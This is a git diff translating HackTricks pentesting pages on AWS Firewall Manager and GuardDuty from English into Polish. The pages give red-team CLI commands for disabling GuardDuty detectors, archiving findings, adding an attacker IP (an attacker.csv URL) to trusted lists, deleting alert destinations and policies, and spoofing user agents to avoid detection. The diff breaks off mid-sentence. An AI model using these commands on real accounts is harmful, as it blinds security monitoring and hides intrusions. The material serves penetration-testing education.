administrators if multiple administrators are utilized within the organization. -- **Firewall Manager Administrators:** - - These administrators can manage resources within the scope designated by the AWS Organizations management account, as defined by the administrative scope configuration. - - Firewall Manager administrators are created to fulfill specific roles within the organization, allowing for delegation of responsibilities while maintaining security and compliance standards. - - Upon creation, Firewall Manager checks with AWS Organizations to determine if the account is already a delegated administrator. If not, Firewall Manager calls Organizations to designate the account as a delegated administrator for Firewall Manager. +- **Domyślny administrator:** +- Domyślne konto administratora jest tworzone przez konto zarządzające organizacją AWS Organizations podczas procesu wprowadzania do Firewall Manager. +- To konto ma zdolność zarządzania zaporami innych firm i posiada pełny zakres administracyjny. +- Służy jako główne konto administratora dla Firewall Manager, odpowiedzialne za konfigurowanie i egzekwowanie polityk bezpieczeństwa w całej organizacji. +- Chociaż domyślny administrator ma pełny dostęp do wszystkich typów zasobów i funkcjonalności administracyjnych, działa na tym samym poziomie co inni administratorzy, jeśli w organizacji korzysta się z wielu administratorów. +- **Administratorzy Firewall Manager:** +- Ci administratorzy mogą zarządzać zasobami w zakresie określonym przez konto zarządzające AWS Organizations, zgodnie z konfiguracją zakresu administracyjnego. +- Administratorzy Firewall Manager są tworzeni w celu wypełnienia określonych ról w organizacji, co pozwala na delegowanie odpowiedzialności przy jednoczesnym zachowaniu standardów bezpieczeństwa i zgodności. +- Po utworzeniu Firewall Manager sprawdza z AWS Organizations, aby ustalić, czy konto jest już delegowanym administratorem. Jeśli nie, Firewall Manager wywołuje Organizations, aby wyznaczyć konto jako delegowanego administratora dla Firewall Manager. -Managing these administrator accounts involves creating them within Firewall Manager and defining their administrative scopes according to the organization's security requirements and the principle of least privilege. By assigning appropriate administrative roles, organizations can ensure effective security management while maintaining granular control over access to sensitive resources. +Zarządzanie tymi kontami administratorów polega na ich tworzeniu w Firewall Manager i definiowaniu ich zakresów administracyjnych zgodnie z wymaganiami bezpieczeństwa organizacji oraz zasadą najmniejszych uprawnień. Przez przypisanie odpowiednich ról administracyjnych organizacje mogą zapewnić skuteczne zarządzanie bezpieczeństwem, jednocześnie zachowując szczegółową kontrolę nad dostępem do wrażliwych zasobów. -It is important to highlight that **only one account within an organization can serve as the Firewall Manager default administrator**, adhering to the principle of "**first in, last out**". To designate a new default administrator, a series of steps must be followed: +Ważne jest, aby podkreślić, że **tylko jedno konto w organizacji może pełnić rolę domyślnego administratora Firewall Manager**, przestrzegając zasady "**pierwszy wchodzi, ostatni wychodzi**". Aby wyznaczyć nowego domyślnego administratora, należy wykonać szereg kroków: -- First, each Firewall Administrator administrator account must revoke their own account. -- Then, the existing default administrator can revoke their own account, effectively offboarding the organization from Firewall Manager. This process results in the deletion of all Firewall Manager policies created by the revoked account. -- To conclude, the AWS Organizations management account must designate the Firewall Manager dafault administrator. +- Najpierw każde konto administratora Firewall Administrator musi cofnąć swoje własne konto. +- Następnie istniejący domyślny administrator może cofnąć swoje własne konto, skutecznie wycofując organizację z Firewall Manager. Proces ten skutkuje usunięciem wszystkich polityk Firewall Manager stworzonych przez cofnięte konto. +- Na koniec konto zarządzające AWS Organizations musi wyznaczyć domyślnego administratora Firewall Manager. ## Enumeration - ``` # Users/Administrators @@ -162,66 +161,58 @@ aws fms get-third-party-firewall-association-status --third-party-firewall --member-account --resource-id --resource-type ``` - ## Post Exploitation / Bypass Detection ### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`) -An attacker with the **`fms:AssociateAdminAccount`** permission would be able to set the Firewall Manager default administrator account. With the **`fms:PutAdminAccount`** permission, an attacker would be able to create or updatea Firewall Manager administrator account and with the **`fms:DisassociateAdminAccount`** permission, a potential attacker could remove the current Firewall Manager administrator account association. - -- The disassociation of the **Firewall Manager default administrator follows the first-in-last-out policy**. All the Firewall Manager administrators must disassociate before the Firewall Manager default administrator can disassociate the account. -- In order to create a Firewall Manager administrator by **PutAdminAccount**, the account must belong to the organization that was previously onboarded to Firewall Manager using **AssociateAdminAccount**. -- The creation of a Firewall Manager administrator account can only be done by the organization's management account. +Napastnik z uprawnieniem **`fms:AssociateAdminAccount`** mógłby ustawić domyślne konto administratora Firewall Manager. Z uprawnieniem **`fms:PutAdminAccount`**, napastnik mógłby utworzyć lub zaktualizować konto administratora Firewall Manager, a z uprawnieniem **`fms:DisassociateAdminAccount`**, potencjalny napastnik mógłby usunąć aktualne powiązanie konta administratora Firewall Manager. +- Rozłączenie **domyślnego administratora Firewall Managera podlega zasadzie pierwsze wchodzi, ostatnie wychodzi**. Wszyscy administratorzy Firewall Manager muszą się rozłączyć, zanim domyślny administrator Firewall Managera będzie mógł rozłączyć konto. +- Aby utworzyć administratora Firewall Managera za pomocą **PutAdminAccount**, konto musi należeć do organizacji, która wcześniej została wprowadzona do Firewall Managera za pomocą **AssociateAdminAccount**. +- Utworzenie konta administratora Firewall Managera może być dokonane tylko przez konto zarządzające organizacją. ```bash aws fms associate-admin-account --admin-account aws fms disassociate-admin-account aws fms put-admin-account --admin-account ``` - -**Potential Impact:** Loss of centralized management, policy evasion, compliance violations, and disruption of security controls within the environment. +**Potencjalny wpływ:** Utrata centralnego zarządzania, unikanie polityki, naruszenia zgodności oraz zakłócenie kontroli bezpieczeństwa w środowisku. ### `fms:PutPolicy`, `fms:DeletePolicy` -An attacker with the **`fms:PutPolicy`**, **`fms:DeletePolicy`** permissions would be able to create, modify or permanently delete an AWS Firewall Manager policy. - +Atakujący z uprawnieniami **`fms:PutPolicy`**, **`fms:DeletePolicy`** mógłby tworzyć, modyfikować lub trwale usuwać politykę AWS Firewall Manager. ```bash aws fms put-policy --policy | --cli-input-json file:// [--tag-list ] aws fms delete-policy --policy-id [--delete-all-policy-resources | --no-delete-all-policy-resources] ``` - -An example of permisive policy through permisive security group, in order to bypass the detection, could be the following one: - +Przykład polityki o dużej swobodzie poprzez grupę zabezpieczeń o dużej swobodzie, w celu ominięcia wykrywania, może być następujący: ```json { - "Policy": { - "PolicyName": "permisive_policy", - "SecurityServicePolicyData": { - "Type": "SECURITY_GROUPS_COMMON", - "ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}" - }, - "ResourceTypeList": [ - "AWS::EC2::Instance", - "AWS::EC2::NetworkInterface", - "AWS::EC2::SecurityGroup", - "AWS::ElasticLoadBalancingV2::LoadBalancer", - "AWS::ElasticLoadBalancing::LoadBalancer" - ], - "ResourceType": "AWS::EC2::SecurityGroup", - "ExcludeResourceTags": false, - "ResourceTags": [], - "RemediationEnabled": true - }, - "TagList": [] +"Policy": { +"PolicyName": "permisive_policy", +"SecurityServicePolicyData": { +"Type": "SECURITY_GROUPS_COMMON", +"ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}" +}, +"ResourceTypeList": [ +"AWS::EC2::Instance", +"AWS::EC2::NetworkInterface", +"AWS::EC2::SecurityGroup", +"AWS::ElasticLoadBalancingV2::LoadBalancer", +"AWS::ElasticLoadBalancing::LoadBalancer" +], +"ResourceType": "AWS::EC2::SecurityGroup", +"ExcludeResourceTags": false, +"ResourceTags": [], +"RemediationEnabled": true +}, +"TagList": [] } ``` - -**Potential Impact:** Dismantling of security controls, policy evasion, compliance violations, operational disruptions, and potential data breaches within the environment. +**Potencjalny wpływ:** Demontaż kontroli bezpieczeństwa, unikanie polityki, naruszenia zgodności, zakłócenia operacyjne oraz potencjalne naruszenia danych w środowisku. ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet` -An attacker with the **`fms:BatchAssociateResource`** and **`fms:BatchDisassociateResource`** permissions would be able to associate or disassociate resources from a Firewall Manager resource set respectively. In addition, the **`fms:PutResourceSet`** and **`fms:DeleteResourceSet`** permissions would allow an attacker to create, modify or delete these resource sets from AWS Firewall Manager. - +Atakujący z uprawnieniami **`fms:BatchAssociateResource`** i **`fms:BatchDisassociateResource`** byłby w stanie odpowiednio powiązać lub rozwiązać powiązania zasobów z zestawem zasobów Firewall Managera. Dodatkowo, uprawnienia **`fms:PutResourceSet`** i **`fms:DeleteResourceSet`** pozwoliłyby atakującemu na tworzenie, modyfikowanie lub usuwanie tych zestawów zasobów z AWS Firewall Manager. ```bash # Associate/Disassociate resources from a resource set aws fms batch-associate-resource --resource-set-identifier --items @@ -231,83 +222,68 @@ aws fms batch-disassociate-resource --resource-set-identifier --items [--tag-list ] aws fms delete-resource-set --identifier ``` - -**Potential Impact:** The addition of an unnecessary amount of items to a resource set will increase the level of noise in the Service potentially causing a DoS. In addition, changes of the resource sets could lead to a resource disruption, policy evasion, compliance violations, and disruption of security controls within the environment. +**Potencjalny wpływ:** Dodanie niepotrzebnej ilości elementów do zestawu zasobów zwiększy poziom hałasu w usłudze, co może spowodować DoS. Dodatkowo, zmiany w zestawach zasobów mogą prowadzić do zakłóceń w zasobach, omijania polityk, naruszeń zgodności oraz zakłóceń w kontrolach bezpieczeństwa w środowisku. ### `fms:PutAppsList`, `fms:DeleteAppsList` -An attacker with the **`fms:PutAppsList`** and **`fms:DeleteAppsList`** permissions would be able to create, modify or delete application lists from AWS Firewall Manager. This could be critical, as unauthorized applications could be allowed access to the general public, or access to authorized applications could be denied, causing a DoS. - +Atakujący z uprawnieniami **`fms:PutAppsList`** i **`fms:DeleteAppsList`** mógłby tworzyć, modyfikować lub usuwać listy aplikacji z AWS Firewall Manager. Może to być krytyczne, ponieważ nieautoryzowane aplikacje mogłyby uzyskać dostęp do ogółu społeczeństwa, lub dostęp do autoryzowanych aplikacji mógłby być zablokowany, co powodowałoby DoS. ```bash aws fms put-apps-list --apps-list [--tag-list ] aws fms delete-apps-list --list-id ``` - -**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment. +**Potencjalny wpływ:** Może to prowadzić do błędnych konfiguracji, unikania polityki, naruszeń zgodności oraz zakłóceń w kontrolach bezpieczeństwa w środowisku. ### `fms:PutProtocolsList`, `fms:DeleteProtocolsList` -An attacker with the **`fms:PutProtocolsList`** and **`fms:DeleteProtocolsList`** permissions would be able to create, modify or delete protocols lists from AWS Firewall Manager. Similarly as with applications lists, this could be critical since unauthorized protocols could be used by the general public, or the use of authorized protocols could be denied, causing a DoS. - +Atakujący z uprawnieniami **`fms:PutProtocolsList`** i **`fms:DeleteProtocolsList`** mógłby tworzyć, modyfikować lub usuwać listy protokołów z AWS Firewall Manager. Podobnie jak w przypadku list aplikacji, może to być krytyczne, ponieważ nieautoryzowane protokoły mogłyby być używane przez ogół społeczeństwa, lub użycie autoryzowanych protokołów mogłoby być zablokowane, co spowodowałoby DoS. ```bash aws fms put-protocols-list --apps-list [--tag-list ] aws fms delete-protocols-list --list-id ``` - -**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment. +**Potencjalny wpływ:** Może to prowadzić do błędnych konfiguracji, unikania polityki, naruszeń zgodności oraz zakłóceń w kontrolach bezpieczeństwa w środowisku. ### `fms:PutNotificationChannel`, `fms:DeleteNotificationChannel` -An attacker with the **`fms:PutNotificationChannel`** and **`fms:DeleteNotificationChannel`** permissions would be able to delete and designate the IAM role and Amazon Simple Notification Service (SNS) topic that Firewall Manager uses to record SNS logs. +Atakujący z uprawnieniami **`fms:PutNotificationChannel`** i **`fms:DeleteNotificationChannel`** mógłby usunąć i wyznaczyć rolę IAM oraz temat Amazon Simple Notification Service (SNS), które Firewall Manager wykorzystuje do rejestrowania logów SNS. -To use **`fms:PutNotificationChannel`** outside of the console, you need to set up the SNS topic's access policy, allowing the specified **SnsRoleName** to publish SNS logs. If the provided **SnsRoleName** is a role other than the **`AWSServiceRoleForFMS`**, it requires a trust relationship configured to permit the Firewall Manager service principal **fms.amazonaws.com** to assume this role. +Aby użyć **`fms:PutNotificationChannel`** poza konsolą, musisz skonfigurować politykę dostępu do tematu SNS, pozwalając określonemu **SnsRoleName** publikować logi SNS. Jeśli podane **SnsRoleName** jest rolą inną niż **`AWSServiceRoleForFMS`**, wymaga to skonfigurowania relacji zaufania, aby umożliwić głównemu podmiotowi usługi Firewall Manager **fms.amazonaws.com** przyjęcie tej roli. -For information about configuring an SNS access policy: +Aby uzyskać informacje na temat konfigurowania polityki dostępu do SNS: {{#ref}} ../aws-sns-enum.md {{#endref}} - ```bash aws fms put-notification-channel --sns-topic-arn --sns-role-name aws fms delete-notification-channel ``` - -**Potential Impact:** This would potentially lead to miss security alerts, delayed incident response, potential data breaches and operational disruptions within the environment. +**Potencjalny wpływ:** Może to prowadzić do pominięcia alertów bezpieczeństwa, opóźnionej reakcji na incydenty, potencjalnych naruszeń danych oraz zakłóceń operacyjnych w środowisku. ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall` -An attacker with the **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** permissions would be able to associate or disassociate third-party firewalls from being managed centrally through AWS Firewall Manager. +Atakujący z uprawnieniami **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** mógłby powiązać lub rozwiązać powiązanie zapór stron trzecich, aby były zarządzane centralnie przez AWS Firewall Manager. > [!WARNING] -> Only the default administrator can create and manage third-party firewalls. - +> Tylko domyślny administrator może tworzyć i zarządzać zaporami stron trzecich. ```bash aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] ``` - -**Potential Impact:** The disassociation would lead to a policy evasion, compliance violations, and disruption of security controls within the environment. The association on the other hand would lead to a disruption of cost and budget allocation. +**Potencjalny wpływ:** Rozłączenie prowadziłoby do unikania polityki, naruszeń zgodności oraz zakłócenia kontroli bezpieczeństwa w środowisku. Z kolei powiązanie prowadziłoby do zakłócenia alokacji kosztów i budżetu. ### `fms:TagResource`, `fms:UntagResource` -An attacker would be able to add, modify, or remove tags from Firewall Manager resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów Firewall Manager, zakłócając alokację kosztów, śledzenie zasobów i polityki kontroli dostępu oparte na tagach. ```bash aws fms tag-resource --resource-arn --tag-list aws fms untag-resource --resource-arn --tag-keys ``` +**Potencjalny wpływ**: Zakłócenie alokacji kosztów, śledzenia zasobów i polityk kontroli dostępu opartych na tagach. -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. - -## References +## Odniesienia - [https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html](https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html) - [https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html](https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index 2794852d3..d51c0c410 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -4,64 +4,63 @@ ## GuardDuty -According to the [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty combines **machine learning, anomaly detection, network monitoring, and malicious file discovery**, using both AWS and industry-leading third-party sources to help protect workloads and data on AWS. GuardDuty is capable of analysing tens of billions of events across multiple AWS data sources, such as AWS CloudTrail event logs, Amazon Virtual Private Cloud (VPC) Flow Logs, Amazon Elastic Kubernetes Service (EKS) audit and system-level logs, and DNS query logs. +Zgodnie z [**dokumentacją**](https://aws.amazon.com/guardduty/features/): GuardDuty łączy **uczenie maszynowe, wykrywanie anomalii, monitorowanie sieci i odkrywanie złośliwych plików**, korzystając zarówno z AWS, jak i wiodących źródeł zewnętrznych, aby pomóc w ochronie obciążeń i danych w AWS. GuardDuty jest w stanie analizować dziesiątki miliardów zdarzeń z różnych źródeł danych AWS, takich jak dzienniki zdarzeń AWS CloudTrail, dzienniki przepływu Amazon Virtual Private Cloud (VPC), dzienniki audytów i systemowe Amazon Elastic Kubernetes Service (EKS) oraz dzienniki zapytań DNS. -Amazon GuardDuty **identifies unusual activity within your accounts**, analyses the **security relevanc**e of the activity, and gives the **context** in which it was invoked. This allows a responder to determine if they should spend time on further investigation. +Amazon GuardDuty **identyfikuje nietypową aktywność w Twoich kontach**, analizuje **znaczenie bezpieczeństwa** tej aktywności i podaje **kontekst**, w jakim została wywołana. Umożliwia to osobie reagującej określenie, czy powinna poświęcić czas na dalsze dochodzenie. -Alerts **appear in the GuardDuty console (90 days)** and CloudWatch Events. +Alerty **pojawiają się w konsoli GuardDuty (90 dni)** oraz w CloudWatch Events. > [!WARNING] -> When a user **disable GuardDuty**, it will stop monitoring your AWS environment and it won't generate any new findings at all, and the **existing findings will be lost**.\ -> If you just stop it, the existing findings will remain. +> Gdy użytkownik **wyłączy GuardDuty**, przestanie monitorować Twoje środowisko AWS i nie wygeneruje żadnych nowych ustaleń, a **istniejące ustalenia zostaną utracone**.\ +> Jeśli po prostu go zatrzymasz, istniejące ustalenia pozostaną. -### Findings Example +### Przykład Ustaleń -- **Reconnaissance**: Activity suggesting reconnaissance by an attacker, such as **unusual API activity**, suspicious database **login** attempts, intra-VPC **port scanning**, unusual failed login request patterns, or unblocked port probing from a known bad IP. -- **Instance compromise**: Activity indicating an instance compromise, such as **cryptocurrency mining, backdoor command and control (C\&C)** activity, malware using domain generation algorithms (DGA), outbound denial of service activity, unusually **high network** traffic volume, unusual network protocols, outbound instance communication with a known malicious IP, temporary Amazon EC2 credentials used by an external IP address, and data exfiltration using DNS. -- **Account compromise**: Common patterns indicative of account compromise include API calls from an unusual geolocation or anonymizing proxy, attempts to disable AWS CloudTrail logging, changes that weaken the account password policy, unusual instance or infrastructure launches, infrastructure deployments in an unusual region, credential theft, suspicious database login activity, and API calls from known malicious IP addresses. -- **Bucket compromise**: Activity indicating a bucket compromise, such as suspicious data access patterns indicating credential misuse, unusual Amazon S3 API activity from a remote host, unauthorized S3 access from known malicious IP addresses, and API calls to retrieve data in S3 buckets from a user with no prior history of accessing the bucket or invoked from an unusual location. Amazon GuardDuty continuously monitors and analyzes AWS CloudTrail S3 data events (e.g. GetObject, ListObjects, DeleteObject) to detect suspicious activity across all of your Amazon S3 buckets. +- **Rozpoznanie**: Aktywność sugerująca rozpoznanie przez atakującego, takie jak **nietypowa aktywność API**, podejrzane próby **logowania** do bazy danych, skanowanie **portów** wewnątrz VPC, nietypowe wzorce nieudanych prób logowania lub skanowanie portów z znanego złego adresu IP. +- **Kompromitacja instancji**: Aktywność wskazująca na kompromitację instancji, taka jak **kopanie kryptowalut, złośliwe polecenia i kontrola (C\&C)**, złośliwe oprogramowanie wykorzystujące algorytmy generowania domen (DGA), aktywność odmowy usługi wychodzącej, nietypowo **wysoki** wolumen ruchu sieciowego, nietypowe protokoły sieciowe, komunikacja instancji wychodzącej z znanym złośliwym adresem IP, tymczasowe poświadczenia Amazon EC2 używane przez zewnętrzny adres IP oraz eksfiltracja danych za pomocą DNS. +- **Kompromitacja konta**: Typowe wzorce wskazujące na kompromitację konta obejmują wywołania API z nietypowej geolokalizacji lub anonimowego proxy, próby wyłączenia logowania AWS CloudTrail, zmiany osłabiające politykę haseł konta, nietypowe uruchomienia instancji lub infrastruktury, wdrożenia infrastruktury w nietypowym regionie, kradzież poświadczeń, podejrzana aktywność logowania do bazy danych oraz wywołania API z znanych złośliwych adresów IP. +- **Kompromitacja koszyka**: Aktywność wskazująca na kompromitację koszyka, taka jak podejrzane wzorce dostępu do danych wskazujące na nadużycie poświadczeń, nietypowa aktywność API Amazon S3 z zdalnego hosta, nieautoryzowany dostęp S3 z znanych złośliwych adresów IP oraz wywołania API w celu pobrania danych z koszyków S3 od użytkownika bez wcześniejszej historii dostępu do koszyka lub wywołane z nietypowej lokalizacji. Amazon GuardDuty nieprzerwanie monitoruje i analizuje zdarzenia danych S3 AWS CloudTrail (np. GetObject, ListObjects, DeleteObject), aby wykrywać podejrzaną aktywność we wszystkich Twoich koszykach Amazon S3.
-Finding Information +Informacje o Ustaleniach -Finding summary: +Podsumowanie ustaleń: -- Finding type -- Severity: 7-8.9 High, 4-6.9 Medium, 01-3.9 Low +- Typ ustalenia +- Powaga: 7-8.9 Wysoka, 4-6.9 Średnia, 01-3.9 Niska - Region -- Account ID -- Resource ID -- Time of detection -- Which threat list was used +- ID konta +- ID zasobu +- Czas wykrycia +- Która lista zagrożeń została użyta -The body has this information: +Treść zawiera te informacje: -- Resource affected -- Action -- Actor: Ip address, port and domain -- Additional Information +- Zasób dotknięty +- Działanie +- Aktor: adres IP, port i domena +- Dodatkowe informacje
-### All Findings +### Wszystkie Ustalenia -Access a list of all the GuardDuty findings in: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) +Uzyskaj dostęp do listy wszystkich ustaleń GuardDuty w: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) -### Multi Accounts +### Wiele Kont -#### By Invitation +#### Na Zaproszenie -You can **invite other accounts** to a different AWS GuardDuty account so **every account is monitored from the same GuardDuty**. The master account must invite the member accounts and then the representative of the member account must accept the invitation. +Możesz **zaprosić inne konta** do innego konta AWS GuardDuty, aby **każde konto było monitorowane z tego samego GuardDuty**. Konto główne musi zaprosić konta członkowskie, a następnie przedstawiciel konta członkowskiego musi zaakceptować zaproszenie. -#### Via Organization +#### Poprzez Organizację -You can designate any account within the organization to be the **GuardDuty delegated administrator**. Only the organization management account can designate a delegated administrator. +Możesz wyznaczyć dowolne konto w organizacji na **delegowanego administratora GuardDuty**. Tylko konto zarządzające organizacją może wyznaczyć delegowanego administratora. -An account that gets designated as a delegated administrator becomes a GuardDuty administrator account, has GuardDuty enabled automatically in the designated AWS Region, and also has the **permission to enable and manage GuardDuty for all of the accounts in the organization within that Region**. The other accounts in the organization can be viewed and added as GuardDuty member accounts associated with this delegated administrator account. - -## Enumeration +Konto, które zostanie wyznaczone jako delegowany administrator, staje się kontem administratora GuardDuty, ma automatycznie włączony GuardDuty w wyznaczonym regionie AWS i ma również **uprawnienia do włączania i zarządzania GuardDuty dla wszystkich kont w organizacji w tym regionie**. Inne konta w organizacji mogą być wyświetlane i dodawane jako konta członkowskie GuardDuty związane z tym kontem delegowanego administratora. +## Enumeracja ```bash # Get Org config aws guardduty list-organization-admin-accounts #Get Delegated Administrator @@ -101,85 +100,76 @@ aws guardduty list-publishing-destinations --detector-id aws guardduty list-threat-intel-sets --detector-id aws guardduty get-threat-intel-set --detector-id --threat-intel-set-id ``` - ## GuardDuty Bypass ### General Guidance -Try to find out as much as possible about the behaviour of the credentials you are going to use: +Spróbuj dowiedzieć się jak najwięcej o zachowaniu poświadczeń, których zamierzasz użyć: -- Times it's used -- Locations -- User Agents / Services (It could be used from awscli, webconsole, lambda...) -- Permissions regularly used +- Czas, w którym są używane +- Lokalizacje +- User Agents / Usługi (Może być używane z awscli, webconsole, lambda...) +- Uprawnienia regularnie używane -With this information, recreate as much as possible the same scenario to use the access: +Z tą informacją, odtwórz jak najwięcej tego samego scenariusza, aby użyć dostępu: -- If it's a **user or a role accessed by a user**, try to use it in the same hours, from the same geolocation (even the same ISP and IP if possible) -- If it's a **role used by a service**, create the same service in the same region and use it from there in the same time ranges -- Always try to use the **same permissions** this principal has used -- If you need to **use other permissions or abuse a permission** (for example, download 1.000.000 cloudtrail log files) do it **slowly** and with the **minimum amount of interactions** with AWS (awscli sometime call several read APIs before the write one) +- Jeśli to jest **użytkownik lub rola dostępna przez użytkownika**, spróbuj użyć jej w tych samych godzinach, z tej samej geolokalizacji (nawet tego samego ISP i IP, jeśli to możliwe) +- Jeśli to jest **rola używana przez usługę**, stwórz tę samą usługę w tym samym regionie i użyj jej stamtąd w tych samych przedziałach czasowych +- Zawsze staraj się używać **tych samych uprawnień**, które ten podmiot używał +- Jeśli musisz **użyć innych uprawnień lub nadużyć uprawnienia** (na przykład, pobrać 1.000.000 plików dziennika cloudtrail), rób to **powoli** i z **minimalną ilością interakcji** z AWS (awscli czasami wywołuje kilka API do odczytu przed zapisem) ### Breaking GuardDuty #### `guardduty:UpdateDetector` -With this permission you could disable GuardDuty to avoid triggering alerts. - +Dzięki temu uprawnieniu możesz wyłączyć GuardDuty, aby uniknąć wyzwalania alertów. ```bash aws guardduty update-detector --detector-id --no-enable aws guardduty update-detector --detector-id --data-sources S3Logs={Enable=false} ``` - #### `guardduty:CreateFilter` -Attackers with this permission have the capability to **employ filters for the automatic** archiving of findings: - +Atakujący z tym uprawnieniem mają możliwość **stosowania filtrów do automatycznego** archiwizowania wyników: ```bash aws guardduty create-filter --detector-id --name --finding-criteria file:///tmp/criteria.json --action ARCHIVE ``` - #### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`) -Attackers with the previous privileges could modify GuardDuty's [**Trusted IP list**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) by adding their IP address to it and avoid generating alerts. - +Napastnicy z wcześniejszymi uprawnieniami mogli modyfikować [**Zaufaną listę IP**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) GuardDuty, dodając do niej swój adres IP i unikać generowania alertów. ```bash aws guardduty update-ip-set --detector-id --activate --ip-set-id --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv ``` - #### `guardduty:DeletePublishingDestination` -Attackers could remove the destination to prevent alerting: - +Napastnicy mogą usunąć miejsce docelowe, aby zapobiec powiadomieniom: ```bash aws guardduty delete-publishing-destination --detector-id --destination-id ``` - > [!CAUTION] -> Deleting this publishing destination will **not affect the generation or visibility of findings within the GuardDuty console**. GuardDuty will continue to analyze events in your AWS environment, identify suspicious or unexpected behavior, and generate findings. +> Usunięcie tego miejsca publikacji **nie wpłynie na generowanie ani widoczność ustaleń w konsoli GuardDuty**. GuardDuty będzie nadal analizować zdarzenia w Twoim środowisku AWS, identyfikować podejrzane lub nieoczekiwane zachowania i generować ustalenia. -### Specific Findings Bypass Examples +### Przykłady obejścia konkretnych ustaleń -Note that there are tens of GuardDuty findings, however, **as Red Teamer not all of them will affect you**, and what is better, you have the f**ull documentation of each of them** in [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) so take a look before doing any action to not get caught. +Zauważ, że istnieje dziesiątki ustaleń GuardDuty, jednak **jako Red Teamer nie wszystkie z nich będą miały na Ciebie wpływ**, a co lepsze, masz pełną dokumentację każdego z nich w [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html), więc zapoznaj się z nią przed podjęciem jakichkolwiek działań, aby nie zostać złapanym. -Here you have a couple of examples of specific GuardDuty findings bypasses: +Oto kilka przykładów obejść konkretnych ustaleń GuardDuty: #### [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) -GuardDuty detect AWS API requests from common penetration testing tools and trigger a [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\ -It's detected by the **user agent name** that is passed in the API request.\ -Therefore, **modifying the user agent** it's possible to prevent GuardDuty from detecting the attack. +GuardDuty wykrywa żądania API AWS z popularnych narzędzi do testów penetracyjnych i uruchamia [Ustalenie PenTest](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\ +Wykrywa to na podstawie **nazwa agenta użytkownika**, która jest przekazywana w żądaniu API.\ +Dlatego **modyfikując agenta użytkownika**, można zapobiec wykryciu ataku przez GuardDuty. -To prevent this you can search from the script `session.py` in the `botocore` package and modify the user agent, or set Burp Suite as the AWS CLI proxy and change the user-agent with the MitM or just use an OS like Ubuntu, Mac or Windows will prevent this alert from triggering. +Aby temu zapobiec, możesz poszukać w skrypcie `session.py` w pakiecie `botocore` i zmodyfikować agenta użytkownika, lub ustawić Burp Suite jako proxy AWS CLI i zmienić agenta użytkownika za pomocą MitM lub po prostu użyć systemu operacyjnego takiego jak Ubuntu, Mac lub Windows, co zapobiegnie uruchomieniu tego alertu. #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration -Extracting EC2 credentials from the metadata service and **utilizing them outside** the AWS environment activates the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) alert. Conversely, employing these credentials from your EC2 instance triggers the 